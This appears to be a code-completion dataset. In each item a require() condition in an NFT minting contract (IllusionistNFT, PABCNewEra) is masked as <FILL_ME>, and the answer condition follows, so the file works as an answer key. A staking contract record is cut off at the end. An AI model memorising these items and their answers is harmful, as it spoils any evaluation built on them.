memory) { } function approve(address to, uint256 tokenId) public virtual override onlyAllowedOperator(to) { } function getApproved(uint256 tokenId) public view override returns (address) { } function setApprovalForAll(address operator, bool approved) public virtual override onlyAllowedOperator(operator) { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override onlyAllowedOperator(from){ } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override onlyAllowedOperator(from){ } function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } function _transfer( address from, address to, uint256 tokenId ) private { } function _approve( address to, uint256 tokenId, address owner ) private { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { } } abstract contract Ownable2Step is Ownable { address private _pendingOwner; event OwnershipTransferStarted(address indexed previousOwner, address indexed newOwner); /** * @dev Returns the address of the pending owner. */ function pendingOwner() public view virtual returns (address) { } /** * @dev Starts the ownership transfer of the contract to a new account. Replaces the pending transfer if there is one. * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual override onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`) and deletes any pending owner. * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual override { } /** * @dev The new owner accepts the ownership transfer. */ function acceptOwnership() external { } } contract OwnedRegistrant is Ownable2Step { address constant registry = 0x000000000000AAeB6D7670E522A718067333cd4E; constructor(address _owner) { } } pragma solidity ^0.8.13; /** * @title UpdatableOperatorFilterer * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another * registrant's entries in the OperatorFilterRegistry. This contract allows the Owner to update the * OperatorFilterRegistry address via updateOperatorFilterRegistryAddress, including to the zero address, * which will bypass registry checks. * Note that OpenSea will still disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. * @dev This smart contract is meant to be inherited by token contracts so they can use the following: * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods. * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods. */ abstract contract UpdatableOperatorFilterer { error OperatorNotAllowed(address operator); error OnlyOwner(); IOperatorFilterRegistry public operatorFilterRegistry; constructor(address _registry, address subscriptionOrRegistrantToCopy, bool subscribe) { } modifier onlyAllowedOperator(address from) virtual { } modifier onlyAllowedOperatorApproval(address operator) virtual { } /** * @notice Update the address that the contract will make OperatorFilter checks against. When set to the zero * address, checks will be bypassed. OnlyOwner. */ function updateOperatorFilterRegistryAddress(address newRegistry) public virtual { } /** * @dev assume the contract has an owner, but leave specific Ownable implementation up to inheriting contract */ function owner() public view virtual returns (address); function _checkFilterOperator(address operator) internal view virtual { } } pragma solidity ^0.8.13; /** * @title RevokableOperatorFilterer * @notice This contract is meant to allow contracts to permanently skip OperatorFilterRegistry checks if desired. The * Registry itself has an "unregister" function, but if the contract is ownable, the owner can re-register at * any point. As implemented, this abstract contract allows the contract owner to permanently skip the * OperatorFilterRegistry checks by calling revokeOperatorFilterRegistry. Once done, the registry * address cannot be further updated. * Note that OpenSea will still disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. */ abstract contract RevokableOperatorFilterer is UpdatableOperatorFilterer { error RegistryHasBeenRevoked(); error InitialRegistryAddressCannotBeZeroAddress(); bool public isOperatorFilterRegistryRevoked; constructor(address _registry, address subscriptionOrRegistrantToCopy, bool subscribe) UpdatableOperatorFilterer(_registry, subscriptionOrRegistrantToCopy, subscribe) { } function _checkFilterOperator(address operator) internal view virtual override { } /** * @notice Update the address that the contract will make OperatorFilter checks against. When set to the zero * address, checks will be permanently bypassed, and the address cannot be updated again. OnlyOwner. */ function updateOperatorFilterRegistryAddress(address newRegistry) public override { } /** * @notice Revoke the OperatorFilterRegistry address, permanently bypassing checks. OnlyOwner. */ function revokeOperatorFilterRegistry() public { } } pragma solidity ^0.8.13; /** * @title RevokableDefaultOperatorFilterer * @notice Inherits from RevokableOperatorFilterer and automatically subscribes to the default OpenSea subscription. * Note that OpenSea will disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. */ abstract contract RevokableDefaultOperatorFilterer is RevokableOperatorFilterer { address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); constructor() RevokableOperatorFilterer(0x000000000000AAeB6D7670E522A718067333cd4E, DEFAULT_SUBSCRIPTION, true) {} } /* / IllusionistNFT / unique and innovative digital art project. / Num of FreeMint = 2 / 0.0008E Per Illusionist */ pragma solidity ^0.8.9; contract IllusionistNFT is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; uint public price = 0.0008 ether; uint public maxTx = 20; uint public maxSupply = 2222; uint256 public reservedSupply = 2222; string private baseURI ; bool public mintEnabled = false; uint public maxPerFree = 2; uint public totalFreeMinted = 0; uint public totalFree ; mapping(address => uint256) public _FreeMinted; constructor() ERC721A("Illusionist NFT", "Illusionist") {} function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual override returns (string memory) { } function MintIllusionist(uint256 count) external payable { bool MintForFree = ((totalFreeMinted < totalFree) && (_FreeMinted[msg.sender] < maxPerFree)); if (MintForFree) { require(mintEnabled, "Mint is not live yet"); require(totalSupply() + count <= maxSupply, "No more"); require(count <= maxTx, "Max per TX reached."); if(count >= (maxPerFree - _FreeMinted[msg.sender])) { require(<FILL_ME>) _FreeMinted[msg.sender] = maxPerFree; totalFreeMinted += maxPerFree; } else if(count < (maxPerFree - _FreeMinted[msg.sender])) { require(msg.value >= 0, "Please send the exact ETH amount"); _FreeMinted[msg.sender] += count; totalFreeMinted += count; } } else{ require(mintEnabled, "Mint is not live yet"); require(msg.value >= count * price, "Please send the exact ETH amount"); require(totalSupply() + count <= maxSupply, "No more"); require(count <= maxTx, "Max per TX reached."); } _safeMint(msg.sender, count); } function TMintIllusionist(uint256 Amount) external onlyOwner { } function EnableIllusionist() external onlyOwner { } function setBaseUri(string memory baseuri_) public onlyOwner { } function setCost(uint256 price_) external onlyOwner { } function setmaxTx(uint256 _MaxTx) external onlyOwner { } function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner { } function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } function withdraw() external onlyOwner nonReentrant { } }
msg.value>=(count*price)-((maxPerFree-_FreeMinted[msg.sender])*price),"Please send the exact ETH amount"
117,389
msg.value>=(count*price)-((maxPerFree-_FreeMinted[msg.sender])*price)
"No more supply to be minted"
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, DefaultOperatorFilterer { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; string private _name; string private _symbol; mapping(uint256 => TokenOwnership) internal _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } function totalSupply() public view override returns (uint256) { } function tokenByIndex(uint256 index) public view override returns (uint256) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } function ownerOf(uint256 tokenId) public view override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public virtual override onlyAllowedOperator(to) { } function getApproved(uint256 tokenId) public view override returns (address) { } function setApprovalForAll(address operator, bool approved) public virtual override onlyAllowedOperator(operator) { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public virtual override onlyAllowedOperator(from){ } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override onlyAllowedOperator(from){ } function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } function _transfer( address from, address to, uint256 tokenId ) private { } function _approve( address to, uint256 tokenId, address owner ) private { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { } } abstract contract Ownable2Step is Ownable { address private _pendingOwner; event OwnershipTransferStarted(address indexed previousOwner, address indexed newOwner); /** * @dev Returns the address of the pending owner. */ function pendingOwner() public view virtual returns (address) { } /** * @dev Starts the ownership transfer of the contract to a new account. Replaces the pending transfer if there is one. * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual override onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`) and deletes any pending owner. * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual override { } /** * @dev The new owner accepts the ownership transfer. */ function acceptOwnership() external { } } contract OwnedRegistrant is Ownable2Step { address constant registry = 0x000000000000AAeB6D7670E522A718067333cd4E; constructor(address _owner) { } } pragma solidity ^0.8.13; /** * @title UpdatableOperatorFilterer * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another * registrant's entries in the OperatorFilterRegistry. This contract allows the Owner to update the * OperatorFilterRegistry address via updateOperatorFilterRegistryAddress, including to the zero address, * which will bypass registry checks. * Note that OpenSea will still disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. * @dev This smart contract is meant to be inherited by token contracts so they can use the following: * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods. * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods. */ abstract contract UpdatableOperatorFilterer { error OperatorNotAllowed(address operator); error OnlyOwner(); IOperatorFilterRegistry public operatorFilterRegistry; constructor(address _registry, address subscriptionOrRegistrantToCopy, bool subscribe) { } modifier onlyAllowedOperator(address from) virtual { } modifier onlyAllowedOperatorApproval(address operator) virtual { } /** * @notice Update the address that the contract will make OperatorFilter checks against. When set to the zero * address, checks will be bypassed. OnlyOwner. */ function updateOperatorFilterRegistryAddress(address newRegistry) public virtual { } /** * @dev assume the contract has an owner, but leave specific Ownable implementation up to inheriting contract */ function owner() public view virtual returns (address); function _checkFilterOperator(address operator) internal view virtual { } } pragma solidity ^0.8.13; /** * @title RevokableOperatorFilterer * @notice This contract is meant to allow contracts to permanently skip OperatorFilterRegistry checks if desired. The * Registry itself has an "unregister" function, but if the contract is ownable, the owner can re-register at * any point. As implemented, this abstract contract allows the contract owner to permanently skip the * OperatorFilterRegistry checks by calling revokeOperatorFilterRegistry. Once done, the registry * address cannot be further updated. * Note that OpenSea will still disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. */ abstract contract RevokableOperatorFilterer is UpdatableOperatorFilterer { error RegistryHasBeenRevoked(); error InitialRegistryAddressCannotBeZeroAddress(); bool public isOperatorFilterRegistryRevoked; constructor(address _registry, address subscriptionOrRegistrantToCopy, bool subscribe) UpdatableOperatorFilterer(_registry, subscriptionOrRegistrantToCopy, subscribe) { } function _checkFilterOperator(address operator) internal view virtual override { } /** * @notice Update the address that the contract will make OperatorFilter checks against. When set to the zero * address, checks will be permanently bypassed, and the address cannot be updated again. OnlyOwner. */ function updateOperatorFilterRegistryAddress(address newRegistry) public override { } /** * @notice Revoke the OperatorFilterRegistry address, permanently bypassing checks. OnlyOwner. */ function revokeOperatorFilterRegistry() public { } } pragma solidity ^0.8.13; /** * @title RevokableDefaultOperatorFilterer * @notice Inherits from RevokableOperatorFilterer and automatically subscribes to the default OpenSea subscription. * Note that OpenSea will disable creator fee enforcement if filtered operators begin fulfilling orders * on-chain, eg, if the registry is revoked or bypassed. */ abstract contract RevokableDefaultOperatorFilterer is RevokableOperatorFilterer { address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); constructor() RevokableOperatorFilterer(0x000000000000AAeB6D7670E522A718067333cd4E, DEFAULT_SUBSCRIPTION, true) {} } /* / IllusionistNFT / unique and innovative digital art project. / Num of FreeMint = 2 / 0.0008E Per Illusionist */ pragma solidity ^0.8.9; contract IllusionistNFT is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; uint public price = 0.0008 ether; uint public maxTx = 20; uint public maxSupply = 2222; uint256 public reservedSupply = 2222; string private baseURI ; bool public mintEnabled = false; uint public maxPerFree = 2; uint public totalFreeMinted = 0; uint public totalFree ; mapping(address => uint256) public _FreeMinted; constructor() ERC721A("Illusionist NFT", "Illusionist") {} function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual override returns (string memory) { } function MintIllusionist(uint256 count) external payable { } function TMintIllusionist(uint256 Amount) external onlyOwner { uint256 Remaining = reservedSupply; require(<FILL_ME>) require(Remaining >= Amount, "Reserved Supply Minted"); reservedSupply = Remaining - Amount; _safeMint(msg.sender, Amount); // totalSupply() += Amount; } function EnableIllusionist() external onlyOwner { } function setBaseUri(string memory baseuri_) public onlyOwner { } function setCost(uint256 price_) external onlyOwner { } function setmaxTx(uint256 _MaxTx) external onlyOwner { } function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner { } function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } function withdraw() external onlyOwner nonReentrant { } }
totalSupply()+Amount<=maxSupply,"No more supply to be minted"
117,389
totalSupply()+Amount<=maxSupply
"Must set approval for the old PABC collection"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract PABCNewEra is ERC721, Pausable, Ownable, ERC721Burnable, DefaultOperatorFilterer, ReentrancyGuard { using Strings for uint256; address public vault; uint256 public constant BLUE_OFFSET = 100000; uint256 public constant GREEN_OFFSET = 200000; uint256 public constant PINK_OFFSET = 300000; uint256 public constant RED_OFFSET = 400000; uint256 public constant GOLD_OFFSET = 500000; string public uriPrefix = ""; string public uriSuffix = ".json"; IERC721 public oldPABC; bool public mintPaused = false; uint256 public maxMintAmountPerTx = 20; constructor( address _oldPABC, address _vault ) ERC721("Party Ape Billionaire Club New Era", "PABC") { } modifier mintCompliance(uint256 _mintAmount) { } function pause() public onlyOwner { } function unpause() public onlyOwner { } function transferApesToVault(uint256[] calldata ids) private { require(<FILL_ME>) for (uint256 i = 0; i < ids.length; i++) { oldPABC.safeTransferFrom(msg.sender, vault, ids[i]); } } function safeMint(address to, uint256 tokenId) public onlyOwner { } function mintFor(address to, uint256[] calldata ids) public onlyOwner { } function standardMint( uint256[] calldata ids ) external mintCompliance(ids.length) { } function neonMint( uint256[] calldata ids, uint8 colorNumber ) external payable mintCompliance(ids.length) { } function goldMint( uint256[] calldata ids ) external payable mintCompliance(ids.length) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId, uint256 batchSize ) internal override whenNotPaused { } function tokenURI( uint256 _tokenId ) public view virtual override returns (string memory) { } function setMaxMintAmountPerTx( uint256 _maxMintAmountPerTx ) external onlyOwner { } function setMintPaused(bool _state) external onlyOwner { } function setUriPrefix(string memory _uriPrefix) public onlyOwner { } function setUriSuffix(string memory _uriSuffix) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setApprovalForAll( address operator, bool approved ) public override onlyAllowedOperatorApproval(operator) { } function approve( address operator, uint256 tokenId ) public override onlyAllowedOperatorApproval(operator) { } function transferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override onlyAllowedOperator(from) { } function withdraw() external onlyOwner nonReentrant { } }
oldPABC.isApprovedForAll(msg.sender,address(this)),"Must set approval for the old PABC collection"
117,576
oldPABC.isApprovedForAll(msg.sender,address(this))
"Token already exists or has been morphed"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract PABCNewEra is ERC721, Pausable, Ownable, ERC721Burnable, DefaultOperatorFilterer, ReentrancyGuard { using Strings for uint256; address public vault; uint256 public constant BLUE_OFFSET = 100000; uint256 public constant GREEN_OFFSET = 200000; uint256 public constant PINK_OFFSET = 300000; uint256 public constant RED_OFFSET = 400000; uint256 public constant GOLD_OFFSET = 500000; string public uriPrefix = ""; string public uriSuffix = ".json"; IERC721 public oldPABC; bool public mintPaused = false; uint256 public maxMintAmountPerTx = 20; constructor( address _oldPABC, address _vault ) ERC721("Party Ape Billionaire Club New Era", "PABC") { } modifier mintCompliance(uint256 _mintAmount) { } function pause() public onlyOwner { } function unpause() public onlyOwner { } function transferApesToVault(uint256[] calldata ids) private { } function safeMint(address to, uint256 tokenId) public onlyOwner { } function mintFor(address to, uint256[] calldata ids) public onlyOwner { for (uint256 i = 0; i < ids.length; i++) { require(<FILL_ME>) _safeMint(to, ids[i]); } } function standardMint( uint256[] calldata ids ) external mintCompliance(ids.length) { } function neonMint( uint256[] calldata ids, uint8 colorNumber ) external payable mintCompliance(ids.length) { } function goldMint( uint256[] calldata ids ) external payable mintCompliance(ids.length) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId, uint256 batchSize ) internal override whenNotPaused { } function tokenURI( uint256 _tokenId ) public view virtual override returns (string memory) { } function setMaxMintAmountPerTx( uint256 _maxMintAmountPerTx ) external onlyOwner { } function setMintPaused(bool _state) external onlyOwner { } function setUriPrefix(string memory _uriPrefix) public onlyOwner { } function setUriSuffix(string memory _uriSuffix) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setApprovalForAll( address operator, bool approved ) public override onlyAllowedOperatorApproval(operator) { } function approve( address operator, uint256 tokenId ) public override onlyAllowedOperatorApproval(operator) { } function transferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override onlyAllowedOperator(from) { } function withdraw() external onlyOwner nonReentrant { } }
!_exists(ids[i])&&!_exists(ids[i]+BLUE_OFFSET)&&!_exists(ids[i]+GREEN_OFFSET)&&!_exists(ids[i]+PINK_OFFSET)&&!_exists(ids[i]+RED_OFFSET)&&!_exists(ids[i]+GOLD_OFFSET),"Token already exists or has been morphed"
117,576
!_exists(ids[i])&&!_exists(ids[i]+BLUE_OFFSET)&&!_exists(ids[i]+GREEN_OFFSET)&&!_exists(ids[i]+PINK_OFFSET)&&!_exists(ids[i]+RED_OFFSET)&&!_exists(ids[i]+GOLD_OFFSET)
"Not owner of the NFT"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract PABCNewEra is ERC721, Pausable, Ownable, ERC721Burnable, DefaultOperatorFilterer, ReentrancyGuard { using Strings for uint256; address public vault; uint256 public constant BLUE_OFFSET = 100000; uint256 public constant GREEN_OFFSET = 200000; uint256 public constant PINK_OFFSET = 300000; uint256 public constant RED_OFFSET = 400000; uint256 public constant GOLD_OFFSET = 500000; string public uriPrefix = ""; string public uriSuffix = ".json"; IERC721 public oldPABC; bool public mintPaused = false; uint256 public maxMintAmountPerTx = 20; constructor( address _oldPABC, address _vault ) ERC721("Party Ape Billionaire Club New Era", "PABC") { } modifier mintCompliance(uint256 _mintAmount) { } function pause() public onlyOwner { } function unpause() public onlyOwner { } function transferApesToVault(uint256[] calldata ids) private { } function safeMint(address to, uint256 tokenId) public onlyOwner { } function mintFor(address to, uint256[] calldata ids) public onlyOwner { } function standardMint( uint256[] calldata ids ) external mintCompliance(ids.length) { for (uint256 i = 0; i < ids.length; i++) { require(<FILL_ME>) require( !_exists(ids[i]) && !_exists(ids[i] + BLUE_OFFSET) && !_exists(ids[i] + GREEN_OFFSET) && !_exists(ids[i] + PINK_OFFSET) && !_exists(ids[i] + RED_OFFSET) && !_exists(ids[i] + GOLD_OFFSET), "Token already exists or has been morphed" ); } transferApesToVault(ids); for (uint256 i = 0; i < ids.length; i++) { _safeMint(msg.sender, ids[i]); } } function neonMint( uint256[] calldata ids, uint8 colorNumber ) external payable mintCompliance(ids.length) { } function goldMint( uint256[] calldata ids ) external payable mintCompliance(ids.length) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId, uint256 batchSize ) internal override whenNotPaused { } function tokenURI( uint256 _tokenId ) public view virtual override returns (string memory) { } function setMaxMintAmountPerTx( uint256 _maxMintAmountPerTx ) external onlyOwner { } function setMintPaused(bool _state) external onlyOwner { } function setUriPrefix(string memory _uriPrefix) public onlyOwner { } function setUriSuffix(string memory _uriSuffix) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setApprovalForAll( address operator, bool approved ) public override onlyAllowedOperatorApproval(operator) { } function approve( address operator, uint256 tokenId ) public override onlyAllowedOperatorApproval(operator) { } function transferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId ) public override onlyAllowedOperator(from) { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override onlyAllowedOperator(from) { } function withdraw() external onlyOwner nonReentrant { } }
oldPABC.ownerOf(ids[i])==msg.sender,"Not owner of the NFT"
117,576
oldPABC.ownerOf(ids[i])==msg.sender
"HODL: Not staked by caller"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; //** HFD Staking */ //** Author: Aceson Decubate 2022.10 */ import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import { IERC721Receiver } from "@openzeppelin/contracts/interfaces/IERC721Receiver.sol"; import { IERC721 } from "@openzeppelin/contracts/interfaces/IERC721.sol"; import { IVesting } from "./interface/IVesting.sol"; contract HODLStaking is Ownable, ReentrancyGuard, IERC721Receiver { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 totalDeposit; uint256 rewardDebt; uint256 totalClaimed; uint256 depositTime; uint256[] depositedIds; mapping(uint256 => uint256) idToArrayIdx; } // Info of each pool. struct PoolInfo { uint8 isInputNFT; //0 - token, 1 - NFT uint8 isVested; //0 - false, 1 - true uint32 totalInvestors; address input; // Address of input token. uint256 allocPoint; // How many allocation points assigned to this pool. HFDs to distribute per block. uint256 lastRewardBlock; // Last block number that HFDs distribution occurs. uint256 accTknPerShare; // Accumulated HFDs per share, times 1e12. See below. uint256 startIdx; //Start index of NFT (if applicable) uint256 endIdx; //End index of NFT (if applicable) uint256 totalDeposit; uint256[] depositedIds; mapping(uint256 => uint256) idToArrayIdx; } struct PoolLockInfo { uint32 multi; //4 decimal precision uint32 claimFee; //2 decimal precision uint32 lockPeriodInSeconds; //Lock period for staked tokens } struct UserLockInfo { bool isWithdrawed; uint32 depositTime; uint256 actualDeposit; } // The REWARD TOKEN! IERC20 public immutable reward; //Percentage distributed per day. 2 decimals / 100000 uint32 public percPerDay = 0; //Address where reward token is stored address public rewardWallet; //Address where fees are sent address public feeWallet; //Vesting contract address IVesting public vestingCont; //Number of blocks per day uint16 internal constant BLOCKS_PER_DAY = 7150; //Divisor uint16 internal constant DIVISOR = 10000; // Info of each pool. PoolInfo[] public poolInfo; //Info of each lock term mapping(uint256 => PoolLockInfo) public poolLockInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Info of users who staked tokens from bonding contract mapping(uint8 => mapping(address => UserLockInfo[])) public userLockInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; //Actual deposit in lock pool uint256 public totalActualDeposit; // The block number when REWARDing starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint8 indexed lid, uint256[] amounts); event Withdraw(address indexed user, uint256 indexed pid, uint8 indexed lid, uint256[] amounts); event RewardClaimed(address indexed user, uint256 indexed pid, uint256 amount); event PoolAdded( uint8 _isInputNFT, uint8 _isVested, uint256 _allocPoint, address _input, uint256 _startIdx, uint256 _endIdx ); event PoolChanged(uint256 pid, uint256 allocPoint, uint8 isVested, uint256 startIdx, uint256 endIdx); event PoolLockChanged(uint256 lid, uint32 multi, uint32 claimFee, uint32 lockPeriod); event PoolUpdated(uint256 pid); event WalletsChanged(address reward, address feeWallet); event 